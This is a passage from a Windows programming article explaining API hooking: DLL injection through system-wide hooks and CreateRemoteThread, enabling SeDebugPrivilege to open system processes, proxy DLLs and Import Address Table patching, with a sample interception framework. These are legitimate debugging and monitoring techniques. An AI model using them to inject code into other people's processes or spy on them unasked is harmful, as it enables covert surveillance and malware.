A system-wide hook is loaded by multiple processes that don't share the same
address space.

For instance hook handle `sg_hGetMsgHook`, that is obtained by
`SetWindowsHookEx()` and is used as parameter in `CallNextHookEx()`must be
used virtually in all address spaces. It means that its value must be shared
among hooked processes as well as the Hook Server application. In order to
make this variable "visible" to all processes we should store it in the shared
data section.

The following is an example of employing `#pragma data_seg()`. Here I would
like to mention that the data within the shared section must be initialized,
otherwise the variables will be assigned to the default data segment and
`#pragma data_seg()` will have no effect.

[code]
//---------------------------------------------------------------------------

    
    // Shared by all processes variables
    
    //---------------------------------------------------------------------------
    
    #pragma data_seg(".HKT")
    HHOOK sg_hGetMsgHook       = NULL;
    BOOL  sg_bHookInstalled    = FALSE;
    // We get this from the application who calls SetWindowsHookEx()'s wrapper
    
    HWND  sg_hwndServer        = NULL; 
    #pragma data_seg()
    
[/code]

You should add a SECTIONS statement to the DLL's DEF file as well

[code]    SECTIONS

            .HKT   Read Write Shared
    
[/code]

or use

[code]    #pragma comment(linker, "/section:.HKT, rws")

    
[/code]

Once a hook DLL is loaded into the address space of the targeted process,
there is no way to unload it unless the Hook Server
calls`UnhookWindowsHookEx()` or the hooked application shuts down. When the
Hook Server calls `UnhookWindowsHookEx()` the operating system loops through
an internal list with all processes which have been forced to load the hook
DLL. The operating system decrements the DLL's lock count and when it becomes
0, the DLL is automatically unmapped from the process's address space.

Here are some of the advantages of this approach:

     * This mechanism is supported by NT/2K and 9x Windows family and hopefully will be maintained by future Windows versions as well.
     * Unlike the registry mechanism of injecting DLLs this method allows DLL to be unloaded when Hook Server decides that DLL is no longer needed and makes a call to `UnhookWindowsHookEx()`
Although I consider Windows Hooks as very handy injection technique, it comes
with its own disadvantages:

     * Windows Hooks can degrade significantly the entire performance of the system, because they increase the amount of processing the system must perform for each message.
     * It requires lot of efforts to debug system-wide Windows Hooks. However if you use more than one instance of VC++ running in the same time, it would simplify the debugging process for more complex scenarios.
     * Last but not least, this kind of hooks affect the processing of the whole system and under certain circumstances \(say a bug\) you must reboot your machine in order to recover it.  

  3. **Injecting DLL by using `CreateRemoteThread()` API function**  
Well, this is my favorite one. Unfortunately it is supported only by NT and
Windows 2K operating systems. It is bizarre, that you are allowed to call
\(link with\) this API on Win 9x as well, but it just returns `NULL` without
doing anything.

Injecting DLLs by remote threads is Jeffrey Ritcher's idea and is well
documented in his article \[9\] "Load Your 32-bit DLL into Another Process's
Address Space Using INJLIB".

The basic concept is quite simple, but very elegant. Any process can load a
DLL dynamically using `LoadLibrary()` API. The issue is how do we force an
external process to call `LoadLibrary()` on our behalf, if we don't have any
access to process's threads? Well, there is a function, called
`CreateRemoteThread()` that addresses creating a remote thread. Here comes the
trick - have a look at the signature of thread function, whose pointer is
passed as parameter \(i.e. `LPTHREAD_START_ROUTINE`\) to the
`CreateRemoteThread()`:

[code]    DWORD WINAPI ThreadProc(LPVOID lpParameter);

    
[/code]

And here is the prototype of `LoadLibrary` API

[code]    HMODULE WINAPI LoadLibrary(LPCTSTR lpFileName);

    
[/code]

Yes, they do have "identical" pattern. They use the same calling convention
`WINAPI`, they both accept one parameter and the size of returned value is the
same. This match gives us a hint that we can use `LoadLibrary()` as thread
function, which will be executed after the remote thread has been created.
Let's have a look at the following sample code:

[code]    hThread = ::CreateRemoteThread(

            hProcessForHooking, 
            NULL, 
            0, 
            pfnLoadLibrary, 
            "C:\\HookTool.dll", 
            0, 
            NULL);
            
    
[/code]

By using `GetProcAddress()` API we get the address of the `LoadLibrary()` API.
The dodgy thing here is that Kernel32.DLL is mapped always to the same address
space of each process, thus the address of `LoadLibrary()` function has the
same value in address space of any running process. This ensures that we pass
a valid pointer \(i.e. `pfnLoadLibrary`\) as parameter of
`CreateRemoteThread()`.

As parameter of the thread function we use the full path name of the DLL,
casting it to `LPVOID`. When the remote thread is resumed, it passes the name
of the DLL to the ThreadFunction \(i.e. `LoadLibrary`\). That's the whole
trick with regard to using remote threads for injection purposes.

There is an important thing we should consider, if implanting through
`CreateRemoteThread()` API. Every time before the injector application operate
on the virtual memory of the targeted process and makes a call to
`CreateRemoteThread()`, it first opens the process using `OpenProcess()` API
and passes `PROCESS_ALL_ACCESS` flag as parameter. This flag is used when we
want to get maximum access rights to this process. In this scenario
`OpenProcess()` will return `NULL` for some of the processes with low ID
number. This error \(although we use a valid process ID\) is caused by not
running under security context that has enough permissions. If you think for a
moment about it, you will realize that it makes perfect sense. All those
restricted processes are part of the operating system and a normal application
shouldn't be allowed to operate on them. What would happen if some application
has a bug and accidentally attempts to terminate an operating system's
process? To prevent the operating system from that kind of eventual crashes,
it is required that a given application must have sufficient privileges to
execute APIs that might alter operating system behavior. To get access to the
system resources \(e.g. smss.exe, winlogon.exe, services.exe, etc\) through
`OpenProcess()` invocation, you must be granted the debug privilege. This
ability is extremely powerful and offers a way to access the system resources,
that are normally restricted. Adjusting the process privileges is a trivial
task and can be described with the following logical operations:

     * Open the process token with permissions needed to adjust privileges
     * Given a privilege's name "`SeDebugPrivilege"`, we should locate its local LUID mapping. The privileges are specified by name and can be found in Platform SDK file winnt.h
     * Adjust the token in order to enable the "`SeDebugPrivilege"` privilege by calling `AdjustTokenPrivileges()` API
     * Close obtained by `OpenProcessToken()` process token handle
For more details about changing privileges see \[10\] "Using privilege".  

  4. **Implanting through BHO add-ins**  
Sometimes you will need to inject a custom code inside Internet Explorer only.
Fortunately Microsoft provides an easy and well documented way for this
purpose - Browser Helper Objects. A BHO is implemented as COM DLL and once it
is properly registered, each time when IE is launched it loads all COM
components that have implemented `IObjectWithSite` interface.  

  5. **MS Office add-ins**  
Similarly, to the BHOs, if you need to implant in MS Office applications code
of your own, you can take the advantage of provided standard mechanism by
implementing MS Office add-ins. There are many available samples that show how
to implement this kind of add-ins.  

### **Interception mechanisms**

Injecting a DLL into the address space of an external process is a key element
of a spying system. It provides an excellent opportunity to have a control
over process's thread activities. However it is not sufficient to have the DLL
injected if you want to intercept API function calls within the process.

This part of the article intends to make a brief review of several available
real-world hooking aspects. It focuses on the basic outline for each one of
them, exposing their advantages and disadvantages.

In terms of the level where the hook is applied, there are two mechanisms for
API spying - Kernel level and User level spying. To get better understanding
of these two levels you must be aware of the relationship between the Win32
subsystem API and the Native API. Following figure demonstrates where the
different hooks are set and illustrates the module relationships and their
dependencies on Windows 2K:

**Figure 2**

<img src='img/Temp2_1512.jpg' width='621' height='667' />

The major implementation difference between them is that interceptor engine
for kernel-level hooking is wrapped up as a kernel-mode driver, whereas user-
level hooking usually employs user-mode DLL.

  1. **NT Kernel level hooking**  
There are several methods for achieving hooking of NT system services in
kernel mode. The most popular interception mechanism was originally
demonstrated by Mark Russinovich and Bryce Cogswell in their article \[3\]
"Windows NT System-Call Hooking". Their basic idea is to inject an
interception mechanism for monitoring NT system calls just bellow the user
mode. This technique is very powerful and provides an extremely flexible
method for hooking the point that all user-mode threads pass through before
they are serviced by the OS kernel.

You can find an excellent design and implementation in "Undocumented Windows
2000 Secrets" as well. In his great book Sven Schreiber explains how to build
a kernel-level hooking framework from scratch \[5\].

Another comprehensive analysis and brilliant implementation has been provided
by Prasad Dabak in his book "Undocumented Windows NT" \[17\].

However, all these hooking strategies, remain out of the scope of this
article.

  2. **Win32 User level hooking  
**

    1. **Windows subclassing.**  
This method is suitable for situations where the application's behavior might
be changed by new implementation of the window procedure. To accomplish this
task you simply call `SetWindowLongPtr()` with `GWLP_WNDPROC` parameter and
pass the pointer to your own window procedure. Once you have the new subclass
procedure set up, every time when Windows dispatches a message to a specified
window, it looks for the address of the window's procedure associated with the
particular window and calls your procedure instead of the original one.

The drawback of this mechanism is that subclassing is available only within
the boundaries of a specific process. In other words an application should not
subclass a window class created by another process.

Usually this approach is applicable when you hook an application through add-
in \(i.e. DLL / In-Proc COM component\) and you can obtain the handle to the
window whose procedure you would like to replace.

For example, some time ago I wrote a simple add-in for IE \(Browser Helper
Object\) that replaces the original pop-up menu provided by IE using
subclassing.  

    2. **Proxy DLL \(Trojan DLL\)**  
An easy way for hacking API is just to replace a DLL with one that has the
same name and exports all the symbols of the original one. This technique can
be effortlessly implemented using function forwarders. A function forwarder
basically is an entry in the DLL's export section that delegates a function
call to another DLL's function.

You can accomplish this task by simply using `#pragma comment`:

[code]        #pragma comment(linker,
"/export:DoSomething=DllImpl.ActuallyDoSomething")

        
[/code]

However, if you decide to employ this method, you should take the
responsibility of providing compatibilities with newer versions of the
original library. For more details see \[13a\] section "Export forwarding" and
\[2\] "Function Forwarders".  

    3. **Code overwriting**  
There are several methods that are based on code overwriting. One of them
changes the address of the function used by CALL instruction. This method is
difficult, and error prone. The basic idea beneath is to track down all CALL
instructions in the memory and replace the addresses of the original function
with user supplied one.

Another method of code overwriting requires a more complicated implementation.
Briefly, the concept of this approach is to locate the address of the original
API function and to change first few bytes of this function with a JMP
instruction that redirects the call to the custom supplied API function. This
method is extremely tricky and involves a sequence of restoring and hooking
operations for each individual call. It's important to point out that if the
function is in unhooked mode and another call is made during that stage, the
system won't be able to capture that second call.  
The major problem is that it contradicts with the rules of a multithreaded
environment.

However, there is a smart solution that solves some of the issues and provides
a sophisticated way for achieving most of the goals of an API interceptor. In
case you are interested you might peek at \[12\] Detours implementation.  

    4. **Spying by a debugger**  
An alternative to hooking API functions is to place a debugging breakpoint
into the target function. However there are several drawbacks for this method.
The major issue with this approach is that debugging exceptions suspend all
application threads. It requires also a debugger process that will handle this
exception. Another problem is caused by the fact that when the debugger
terminates, the debugger is automatically shut down by Windows.  

    5. **Spying by altering of the Import Address Table**  
This technique was originally published by Matt Pietrek and than elaborated by
Jeffrey Ritcher \(\[2\] "API Hooking by Manipulating a Module's Import
Section"\) and John Robbins \(\[4\] "Hooking Imported Functions"\). It is very
robust, simple and quite easy to implement. It also meets most of the
requirements of a hooking framework that targets Windows NT/2K and 9x
operating systems. The concept of this technique relies on the elegant
structure of the Portable Executable \(PE\) Windows file format. To understand
how this method works, you should be familiar with some of the basics behind
PE file format, which is an extension of Common Object File Format \(COFF\).
Matt Pietrek reveals the PE format in details in his wonderful articles -
\[6\] "Peering Inside the PE.", and \[13a/b\] "An In-Depth Look into the Win32
PE file format". I will give you a brief overview of the PE specification,
just enough to get the idea of hooking by manipulation of the Import Address
Table.

In general an PE binary file is organized, so that it has all code and data
sections in a layout that conform to the virtual memory representation of an
executable. PE file format is composed of several logical sections. Each of
them maintains specific type of data and addresses particular needs of the OS
loader.

The section `.idata`, I would like to focus your attention on, contains
information about Import Address Table. This part of the PE structure is
particularly very crucial for building a spy program based on altering IAT.  
Each executable that conforms with PE format has layout roughly described by
the figure below.

**Figure 3**

<img src='img/Temp2_1510.jpg' width='337' height='246' />

The program loader is responsible for loading an application along with all
its linked DLLs into the memory. Since the address where each DLL is loaded
into, cannot be known in advance, the loader is not able to determine the
actual address of each imported function. The loader must perform some extra
work to ensure that the program will call successfully each imported function.
But going through each executable image in the memory and fixing up the
addresses of all imported functions one by one would take unreasonable amount
of processing time and cause huge performance degradation. So, how does the
loader resolves this challenge? The key point is that each call to an imported
function must be dispatched to the same address, where the function code
resides into the memory. Each call to an imported function is in fact an
indirect call, routed through IAT by an indirect JMP instruction. The benefit
of this design is that the loader doesn't have to search through the whole
image of the file. The solution appears to be quite simple - it just fixes-up
the addresses of all imports inside the IAT. Here is an example of a snapshot
PE File structure of a simple Win32 Application, taken with the help of the
\[8\] PEView utility. As you can see TestApp import table contains two
imported by GDI32.DLL function - `TextOutA()` and`GetStockObject()`.

**Figure 4**

<img src='img/Temp2_1509.jpg' width='550' height='396' />

Actually the hooking process of an imported function is not that complex as it
looks at first sight. In a nutshell an interception system that uses IAT
patching has to discover the location that holds the address of imported
function and replace it with the address of an user supplied function by
overwriting it. An important requirement is that the newly provided function
must have exactly the same signature as the original one. Here are the logical
steps of a replacing cycle:

       * Locate the import section from the IAT of each loaded by the process DLL module as well as the process itself
       * Find the `IMAGE_IMPORT_DESCRIPTOR` chunk of the DLL that exports that function. Practically speaking, usually we search this entry by the name of the DLL
       * Locate the `IMAGE_THUNK_DATA` which holds the original address of the imported function
       * Replace the function address with the user supplied one
  
By changing the address of the imported function inside the IAT, we ensure
that all calls to the hooked function will be re-routed to the function
interceptor.

Replacing the pointer inside the IAT is that `.idata` section doesn't
necessarily have to be a writable section. This requires that we must ensure
that `.idata `section can be modified. This task can be accomplished by using
`VirtualProtect()` API.

Another issue that deserves attention is related to the `GetProcAddress()` API
behavior on Windows 9x system. When an application calls this API outside the
debugger it returns a pointer to the function. However if you call this
function within from the debugger it actually returns different address than
it would when the call is made outside the debugger. It is caused by the fact
that that inside the debugger each call to `GetProcAddress()` returns a
wrapper to the real pointer. Returned by `GetProcAddress()` value points
to`PUSH` instruction followed by the actual address. This means that on
Windows 9x when we loop through the thunks, we must check whether the address
of examined function is a `PUSH` instruction \(0x68 on x86 platforms\) and
accordingly get the proper value of the address function.

Windows 9x doesn't implement copy-on-write, thus operating system attempts to
keep away the debuggers from stepping into functions above the 2-GB frontier.
That is the reason why `GetProcAddress()` returns a debug thunk instead of the
actual address. John Robbins discusses this problem in \[4\] "Hooking Imported
Functions".

### **Figuring out when to inject the hook DLL**

That section reveals some challenges that are faced by developers when the
selected injection mechanism is not part of the operating system's
functionality. For example, performing the injection is not your concern when
you use built-in Windows Hooks in order to implant a DLL. It is an OS's
responsibility to force each of those running processes that meet the
requirements for this particular hook, to load the DLL \[18\]. In fact Windows
keeps track of all newly launched processes and forces them to load the hook
DLL. Managing injection through registry is quite similar to Windows Hooks.
The biggest advantage of all those "built-in" methods is that they come as
part of the OS.

Unlike the discussed above implanting techniques, to inject by
`CreateRemoteThread()` requires maintenance of all currently running
processes. If the injecting is made not on time, this can cause the Hook
System to miss some of the calls it claims as intercepted. It is crucial that
the Hook Server application implements a smart mechanism for receiving
notifications each time when a new process starts or shuts down. One of the
suggested methods in this case, is to intercept `CreateProcess()` API family
functions and monitor all their invocations. Thus when an user supplied
function is called, it can call the original `CreateProcess()` with
`dwCreationFlags` `OR`-ed with `CREATE_SUSPENDED` flag. This means that the
primary thread of the targeted application will be in suspended state, and the
Hook Server will have the opportunity to inject the DLL by hand-coded machine
instructions and resume the application using ResumeThread\(\) API. For more
details you might refer to \[2\] "Injecting Code with`CreateProcess()"`.

The second method of detecting process execution, is based on implementing a
simple device driver. It offers the greatest flexibility and deserves even
more attention. Windows NT/2K provides a special function
`PsSetCreateProcessNotifyRoutine()` exported by NTOSKRNL. This function allows
adding a callback function, that is called whenever a process is created or
deleted. For more details see \[11\] and \[15\] from the reference section.

### **Enumerating processes and modules**

Sometimes we would prefer to use injecting of the DLL by
`CreateRemoteThread()` API, especially when the system runs under NT/2K. In
this case when the Hook Server is started it must enumerate all active
processes and inject the DLL into their address spaces. Windows 9x and Windows
2K provide a built-in implementation \(i.e. implemented by Kernel32.dll\) of
Tool Help Library. On the other hand Windows NT uses for the same purpose
PSAPI library. We need a way to allow the Hook Server to run and then to
detect dynamically which process "helper" is available. Thus the system can
determine which the supported library is, and accordingly to use the
appropriate APIs.

I will present an object-oriented architecture that implements a simple
framework for retrieving processes and modules under NT/2K and 9x \[16\]. The
design of my classes allows extending the framework according to your specific
needs. The implementation itself is pretty straightforward.

`CTaskManager` implements the system's processor. It is responsible for
creating an instance of a specific library handler \(i.e. `CPsapiHandler`
or`CToolhelpHandler`\) that is able to employ the correct process information
provider library \(i.e. PSAPI or ToolHelp32 respectively\).`CTaskManager` is
in charge of creating and marinating a container object that keeps a list with
all currently active processes. After instantiating of the `CTaskManager`
object the application calls `Populate()` method. It forces enumerating of all
processes and DLL libraries and storing them into a hierarchy kept by
`CTaskManager`'s member `m_pProcesses`.

Following UML diagram shows the class relationships of this subsystem:

**Figure 5**

<img src='img/Temp2_1513.jpg' width='590' height='338' />

It is important to highlight the fact that NT's Kernel32.dll doesn't implement
any of the ToolHelp32 functions. Therefore we must link them explicitly, using
runtime dynamic linking. If we use static linking the code will fail to load
on NT, regardless whether or not the application has attempted to execute any
of those functions. For more details see my article "Single interface for
enumerating processes and modules under NT and Win9x/2K.".

## **Requirements of the Hook Tool System**

Now that I've made a brief introduction to the various concepts of the hooking
process it's time to determine the basic requirements and explore the design
of a particular hooking system. These are some of the issues addressed by the
Hook Tool System:

  * Provide a user-level hooking system for spying any Win32 API functions imported by name
  * Provide the abilities to inject hook driver into all running processes by Windows hooks as well as `CreateRemoteThread()` API. The framework should offer an ability to set this up by an INI file
  * Employ an interception mechanism based on the altering Import Address Table
  * Present an object-oriented reusable and extensible layered architecture
  * Offer an efficient and scalable mechanism for hooking API functions
  * Meet performance requirements
  * Provide a reliable communication mechanism for transferring data between the driver and the server
  * Implement custom supplied versions of `TextOutA/W()` and `ExitProcess()` API functions
  * Log events to a file
  * The system is implemented for x86 machines running Windows 9x, Me, NT or Windows 2K operating system

## **Design and implementation**

This part of the article discusses the key components of the framework and how
do they interact each other. This outfit is capable to capture any kind of
`WINAPI` imported by name functions.

Before I outline the system's design, I would like to focus your attention on
several methods for injecting and hooking.

First and foremost, it is necessary to select an implanting method that will
meet the requirements for injecting the DLL driver into all processes. So I
designed an abstract approach with two injecting techniques, each of them
applied accordingly to the settings in the INI file and the type of the
operating system \(i.e. NT/2K or 9x\). They are - System-wide Windows Hooks
and `CreateRemoteThread()` method. The sample framework offers the ability to
inject the DLL on NT/2K by Windows Hooks as well as to implant by
`CreateRemoteThread()` means. This can be determined by an option in the INI
file that holds all settings of the system.

Another crucial moment is the choice of the hooking mechanism. Not
surprisingly, I decided to apply altering IAT as an extremely robust method
for Win32 API spying.

To achieve desired goals I designed a simple framework composed of the
following components and files:

  * TestApp.exe - a simple Win32 test application that just outputs a text using TextOut\(\) API. The purpose of this app is to show how it gets hooked up.
  * HookSrv.exe - control program
  * HookTool .DLL - spy library implemented as Win32 DLL
  * HookTool.ini - a configuration file
  * NTProcDrv.sys - a tiny Windows NT/2K kernel-mode driver for monitoring process creation and termination. This component is optional and addresses the problem with detection of process execution under NT based systems only.

HookSrv is a simple control program. Its main role is to load the HookTool.DLL
and then to activate the spying engine. After loading the DLL, the Hook Server
calls `InstallHook()` function and passes a handle to a hidden windows where
the DLL should post all messages to.

HookTool.DLL is the hook driver and the heart of presented spying system. It
implements the actual interceptor and provides three user supplied functions
`TextOutA/W()` and `ExitProcess()` functions.

Although the article emphasizes on Windows internals and there is no need for
it to be object-oriented, I decided to encapsulate related activities in
reusable C++ classes. This approach provides more flexibility and enables the
system to be extended. It also benefits developers with the ability to use
individual classes outside this project.

Following UML class diagram illustrates the relationships between set of
classes used in HookTool.DLL's implementation.

**Figure 6**

<img src='img/Temp2_1511.jpg' width='541' height='492' />

In this section of the article I would like to draw your attention to the
class design of the HookTool.DLL. Assigning responsibilities to the classes is
an important part of the development process. Each of the presented classes
wraps up a specific functionality and represents a particular logical entity.

`CModuleScope` is the main doorway of the system. It is implemented using
"Singleton" pattern and works in a thread-safe manner. Its constructor accepts
3 pointers to the data declared in the shared segment, that will be used by
all processes. By this means the values of those system-wide variables can be
maintained very easily inside the class, keeping the rule for encapsulation.

When an application loads the HookTool library, the DLL creates one instance
of `CModuleScope` on receiving `DLL_PROCESS_ATTACH` notification. This step
just initializes the only instance of `CModuleScope`. An important piece of
the `CModuleScope` object construction is the creation of an appropriate
injector object. The decision which injector to use will be made after parsing
the HookTool.ini file and determining the value of`UseWindowsHook` parameter
under \[Scope\] section. In case that the system is running under Windows 9x,
the value of this parameter won't be examined by the system, because Window 9x
doesn't support injecting by remote threads.

After instantiating of the main processor object, a call to
`ManageModuleEnlistment()` method will be made. Here is a simplified version
of its implementation:

[code]

    // Called on DLL_PROCESS_ATTACH DLL notification
    
    BOOL CModuleScope::ManageModuleEnlistment()
    {
            BOOL bResult = FALSE;
            // Check if it is the hook server 
    
            if (FALSE == *m_pbHookInstalled)
            {
                    // Set the flag, thus we will know that the server has been installed
    
                    *m_pbHookInstalled = TRUE;
                    // and return success error code
    
                    bResult = TRUE;
            }
            // and any other process should be examined whether it should be
    
            // hooked up by the DLL
    
            else
            {
                    bResult = m_pInjector->IsProcessForHooking(m_szProcessName);
                    if (bResult)
                            InitializeHookManagement();
            }
            return bResult;
    }
    
    
[/code]

The implementation of the method `ManageModuleEnlistment()` is straightforward
and examines whether the call has been made by the Hook Server, inspecting the
value `m_pbHookInstalled` points to. If an invocation has been initiated by
the Hook Server, it just sets up indirectly the flag `sg_bHookInstalled` to
TRUE. It tells that the Hook Server has been started.

The next action taken by the Hook Server is to activate the engine through a
single call to `InstallHook()` DLL exported function. Actually its call is
delegated to a method of `CModuleScope` - `InstallHookMethod()`. The main
purpose of this function is to force targeted for hooking processes to load or
unload the HookTool.DLL.

[code]

     // Activate/Deactivate hooking
    
    engine BOOL     CModuleScope::InstallHookMethod(BOOL bActivate, HWND hWndServer)
    {
            BOOL bResult;
            if (bActivate)
            {
                    *m_phwndServer = hWndServer;
                    bResult = m_pInjector->InjectModuleIntoAllProcesses();
            }
            else
            {
                    m_pInjector->EjectModuleFromAllProcesses();
                    *m_phwndServer = NULL;
                    bResult = TRUE;
            }
            return bResult;
    }
    
    
[/code]

HookTool.DLL provides two mechanisms for self injecting into the address space
of an external process - one that uses Windows Hooks and another that employs
injecting of DLL by `CreateRemoteThread()` API. The architecture of the system
defines an abstract class `CInjector` that exposes pure virtual functions for
injecting and ejecting DLL. The classes `CWinHookInjector` and
`CRemThreadInjector` inherit from the same base -`CInjector` class. However
they provide different realization of the pure virtual methods
`InjectModuleIntoAllProcesses()` and`EjectModuleFromAllProcesses()`, defined
in `CInjector` interface.

`CWinHookInjector` class implements Windows Hooks injecting mechanism. It
installs a filter function by the following call

[code]

    // Inject the DLL into all running processes
    
    BOOL CWinHookInjector::InjectModuleIntoAllProcesses()
    {
            *sm_pHook = ::SetWindowsHookEx(
                    WH_GETMESSAGE,
                    (HOOKPROC)(GetMsgProc),
                    ModuleFromAddress(GetMsgProc), 
                    0
                    );
            return (NULL != *sm_pHook);
    }
    
    
[/code]

As you can see it makes a request to the system for registering
`WH_GETMESSAGE` hook. The server executes this method only once. The last
parameter of `SetWindowsHookEx()` is 0, because `GetMsgProc()` is designed to
operate as a system-wide hook. The callback function will be invoked by the
system each time when a window is about to process a particular message. It is
interesting that we have to provide a nearly dummy implementation of the
`GetMsgProc()` callback, since we don't intend to monitor the message
processing. We supply this implementation only in order to get free injection
mechanism provided by the operating system.

After making the call to `SetWindowsHookEx()`, OS checks whether the DLL
\(i.e. HookTool.DLL\) that exports `GetMsgProc()` has been already mapped in
all GUI processes. If the DLL hasn't been loaded yet, Windows forces those GUI
processes to map it. An interesting fact is, that a system-wide hook DLL
should not return `FALSE` in its `DllMain()`. That's because the operating
system validates `DllMain()`'s return value and keeps trying to load this DLL
until its `DllMain()` finally returns `TRUE`.

A quite different approach is demonstrated by the `CRemThreadInjector` class.
Here the implementation is based on injecting the DLL using remote threads.
`CRemThreadInjector` extends the maintenance of the Windows processes by
providing means for receiving notifications of process creation and
termination. It holds an instance of `CNtInjectorThread` class that observes
the process execution. `CNtInjectorThread`object takes care for getting
notifications from the kernel-mode driver. Thus each time when a process is
created a call to `CNtInjectorThread ::OnCreateProcess()` is issued,
accordingly when the process exits `CNtInjectorThread ::OnTerminateProcess()`
is automatically called. Unlike the Windows Hooks, the method that relies on
remote thread, requires manual injection each time when a new process is
created. Monitoring process activities will provide us with a simple technique
for alerting when a new process starts.

`CNtDriverController` class implements a wrapper around API functions for
administering services and drivers. It is designed to handle the loading and
unloading of the kernel-mode driver NTProcDrv.sys. Its implementation will be
discussed later.

After a successful injection of HookTool.DLL into a particular process, a call
to `ManageModuleEnlistment()` method is issued inside the`DllMain()`. Recall
the method's implementation that I described earlier. It examines the shared
variable `sg_bHookInstalled` through the`CModuleScope` 's member
`m_pbHookInstalled`. Since the server's initialization had already set the
value of `sg_bHookInstalled` to `TRUE`, the system checks whether this
application must be hooked up and if so, it actually activates the spy engine
for this particular process.

Turning the hacking engine on, takes place in the
`CModuleScope::InitializeHookManagement()`'s implementation. The idea of this
method is to install hooks for some vital functions as `LoadLibrary()` API
family as well as `GetProcAddress()`. By this means we can monitor loading of
DLLs after the initialization process. Each time when a new DLL is about to be
mapped it is necessary to fix-up its import table, thus we ensure that the
system won't miss any call to the captured function.

At the end of the `InitializeHookManagement()` method we provide
initializations for the function we actually want to spy on.

Since the sample code demonstrates capturing of more than one user supplied
functions, we must provide a single implementation for each individual hooked
function. This means that using this approach you cannot just change the
addresses inside IAT of the different imported functions to point to a single
"generic" interception function. The spying function needs to know which
function this call comes to. It is also crucial that the signature of the
interception routine must be exactly the same as the original `WINAPI`
function prototype, otherwise the stack will be corrupted. For example
`CModuleScope` implements three static methods `MyTextOutA(),MyTextOutW() and
MyExitProcess()`. Once the HookTool.DLL is loaded into the address space of a
process and the spying engine is activated, each time when a call to the
original `TextOutA()` is issued,`CModuleScope:: MyTextOutA()` gets called
instead.

Proposed design of the spying engine itself is quite efficient and offers
great flexibility. However, it is suitable mostly for scenarios where the set
of functions for interception is known in advance and their number is limited.

If you want to add new hooks to the system you simply declare and implement
the interception function as I did with `MyTextOutA/W()` and`MyExitProcess()`.
Then you have to register it in the way shown by InitializeHookManagement\(\)
implementation.

Intercepting and tracing process execution is a very useful mechanism for
implementing systems that require manipulations of external processes.
Notifying interested parties upon starting of a new processes is a classic
problem of developing process monitoring systems and system-wide hooks. The
Win32 API provides a set of great libraries \(PSAPI and ToolHelp \[16\]\) that
allow you to enumerate processes currently running in the system. Although
these APIs are extremely powerful they don't permit you to get notifications
when a new process starts or ends up. Luckily, NT/2K provides a set of APIs,
documented in Windows DDK documentation as "Process Structure Routines"
exported by NTOSKRNL. One of these APIs`PsSetCreateProcessNotifyRoutine()`
offers the ability to register system-wide callback function which is called
by OS each time when a new process starts, exits or has been terminated. The
mentioned API can be employed as a simple way to for tracking down processes
simply by implementing a NT kernel-mode driver and a user mode Win32 control
application. The role of the driver is to detect process execution and notify
the control program about these events. The implementation of the Windows
process's observer NTProcDrv provides a minimal set of functionalities
required for process monitoring under NT based systems. For more details see
articles \[11\] and \[15\]. The code of the driver can be located in the
_NTProcDrv.c_ file. Since the user mode implementation installs and uninstalls
the driver dynamically the currently logged-on user must have administrator
privileges. Otherwise you won't be able to install the driver and it will
disturb the process of monitoring. A way around is to manually install the
driver as an administrator or run HookSrv.exe using offered by Windows 2K "Run
as different user" option.

Last but not least, the provided tools can be administered by simply changing
the settings of an INI file \(i.e.  _HookTool.ini_\). This file determines
whether to use Windows hooks \(for 9x and NT/2K\) or `CreateRemoteThread()`
\(only under NT/2K\) for injecting. It also offers a way to specify which
process must be hooked up and which shouldn't be intercepted. If you would
like to monitor the process there is an option \(Enabled\) under section
\[Trace\] that allows to log system activities. This option allows you to
report rich error information using the methods exposed by CLogFile class. In
fact ClogFile provides thread-safe implementation and you don't have to take
care about synchronization issues related to accessing shared system resources
\(i.e. the log file\). For more details see CLogFile and content of
HookTool.ini file.

## **Sample code**

The project compiles with VC6++ SP4 and requires Platform SDK. In a production
Windows NT environment you need to provide PSAPI.DLL in order to use provided
`CTaskManager` implementation.

Before you run the sample code make sure that all the settings in HookTool.ini
file have been set according to your specific needs.

For those that will like the lower-level stuff and are interested in further
development of the kernel-mode driver NTProcDrv code, they must install
Windows DDK.

## Out of the scope

For the sake of simplicity these are some of the subjects I intentionally left
out of the scope of this article:

  * Monitoring Native API calls
  * A driver for monitoring process execution on Windows 9x systems.
  * UNICODE support, although you can still hook UNICODE imported APIs

## **Conclusion**

This article by far doesn't provide a complete guide for the unlimited API
hooking subject and without any doubt it misses some details. However I tried
to fit in this few pages just enough important information that might help
those who are interested in user mode Win32 API spying.

## **References**

\[1\] "Windows 95 System Programming Secrets", Matt Pietrek  
\[2\] "Programming Application for MS Windows" , Jeffrey Richter  
\[3\] "Windows NT System-Call Hooking" , Mark Russinovich and Bryce Cogswell,
Dr.Dobb's Journal January 1997  
\[4\] "Debugging applications" , John Robbins  
\[5\] "Undocumented Windows 2000 Secrets" , Sven Schreiber  
\[6\] "Peering Inside the PE: A Tour of the Win32 Portable Executable File
Format" by Matt Pietrek, March 1994  
\[7\] MSDN Knowledge base Q197571  
\[8\] PEview Version 0.67 , Wayne J. Radburn  
\[9\] "Load Your 32-bit DLL into Another Process's Address Space Using INJLIB"
MSJ May 1994  
\[10\] "Programming Windows Security" , Keith Brown  
\[11\] "Detecting Windows NT/2K process execution" Ivo Ivanov, 2002  
\[12\] "Detours" Galen Hunt and Doug Brubacher  
\[13a\] "An In-Depth Look into the Win32 PE file format" , part 1, Matt
Pietrek, MSJ February 2002  
\[13b\] "An In-Depth Look into the Win32 PE file format" , part 2, Matt
Pietrek, MSJ March 2002  
\[14\] "Inside MS Windows 2000 Third Edition" , David Solomon and Mark
Russinovich  
\[15\] "Nerditorium", James Finnegan, MSJ January 1999  
\[16\] "Single interface for enumerating processes and modules under NT and
Win9x/2K." , Ivo Ivanov, 2001  
\[17\] "Undocumented Windows NT" , Prasad Dabak, Sandeep Phadke and Milind
Borate  
\[18\] Platform SDK: Windows User Interface, Hooks

## History

21 Apr 2002 - updated source code

12 May 2002 - updated source code

4 Sep 2002 - updated source code

3 Dec 2002 - updated source code and demo

## License

This article, along with any associated source code and files, is licensed
under The Code Project Open License \(CPOL\)

## About the Author

**Ivo Ivanov**  
  
  
Member| Ivo works as an independent consultant building advanced .NET
solutions. He is also a co-founder and CTO of InfoProcess Pty Ltd. – an
Australian company developing Host Intrusion Prevention Systems \(HIPS\) for
Windows.  
Ivo has helped build applications for leading software solution providers such
as Pacom Ltd., Citect Ltd.,Professional Advantage Pty Ltd. and NICE Ltd.. He
combines in-depth knowledge of Windows Operating Systems, Object Oriented
Design, and strong development skills in C/C++ and C\#. Ivo applies his core
